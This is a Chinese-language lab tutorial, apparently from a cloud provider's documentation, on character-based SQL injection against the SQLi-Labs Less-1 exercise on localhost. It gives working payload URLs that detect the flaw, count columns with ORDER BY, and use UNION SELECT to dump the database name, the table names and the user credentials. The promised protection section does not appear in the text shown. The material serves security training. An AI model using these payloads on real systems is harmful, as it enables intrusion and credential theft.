最近更新时间:2022.08.28 18:14:07
首次发布时间:2022.08.28 18:14:07
SQL注入(SQL injection)是发生于应用程序与数据库层的安全漏洞。即在输入的字符串之中注入SQL指令,在设计不当的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而执行,因此遭到破坏或是入侵。
字符型SQL注入为,当输入的参数是字符串时,如姓名,爱好等。例如URL为:http://www.xxx.com/test.php?name='jack' 可以猜测SQL语句为:select * from xx where name='jack',从而用户输入含恶意代码的内容,然后提交到后台执行。
本实验将帮助您模拟基于字符型的SQL注入以及如何进行防护。
1、打开SQLi-Labs,选择Less-1,查看相关信息,如下:
提示:
Please input the ID as parameter with numeric value
我们将id作为查询字符串进行查询,url为:http://127.0.0.1/sql/Less-1/?id=1
如下:
为了便于查看,将sql进行了显示输出, 如下:
SELECT * FROM users WHERE id='1' LIMIT 0,1
2、判断id参数位置是否存在sql注入点。
构造如下url:(添加单引号)
http://127.0.0.1/sql/Less-1/?id=1'
结果如下:
可以发现报错。
再构造如下url:(添加注释符)
http://127.0.0.1/sql/Less-1/?id=1' %23
结果如下:
可以发现正常输出。
以上测试说明id=1中1被单引号进行注释,为字符型,可以使用单引号闭合后,进行注入。
3、猜解字段数目。
使用order by 进行猜解,如果order by+数字可以执行,说明此表中存在此列(数字表示第几列,如2表示按第二列进行排序,如正常表示表中存在第二列),直到临界值出现。
如下:
http://127.0.0.1/sql/Less-1/?id=1' order by 3 %23
http://127.0.0.1/sql/Less-1/?id=1' order by 4 %23
从上面可以看出order by 3显示正常,order by 4显示异常,我们可以猜测此表有三列。
4、猜解数据库名称、版本等。
主要使用union select进行拼接然后回显查询的内容。
先猜解回显字段。
构造url如下:
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,2,3 %23
结果如下:
可以看到能够回显的字段为2、3。
猜解数据库名称跟版本信息:
构造url如下:
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,database(),version() %23
结果如下:
可以看到数据库名称为security,版本为5.7.26。
5、猜解数据库中表名称。
构造url如下:
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' %23
结果如下:
可以看到猜解出的表名如下:emails,referers,uagents,users。
6、猜解users表中内容。
由于要猜解的是users表,猜测字段应由username跟password字段,(如没有可再从information_schema.columns中采集列)。
构造url如下:
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users %23
结果如下:
可以看到猜解出了username跟password。
如果您有其他问题,欢迎您联系火山引擎技术支持服务。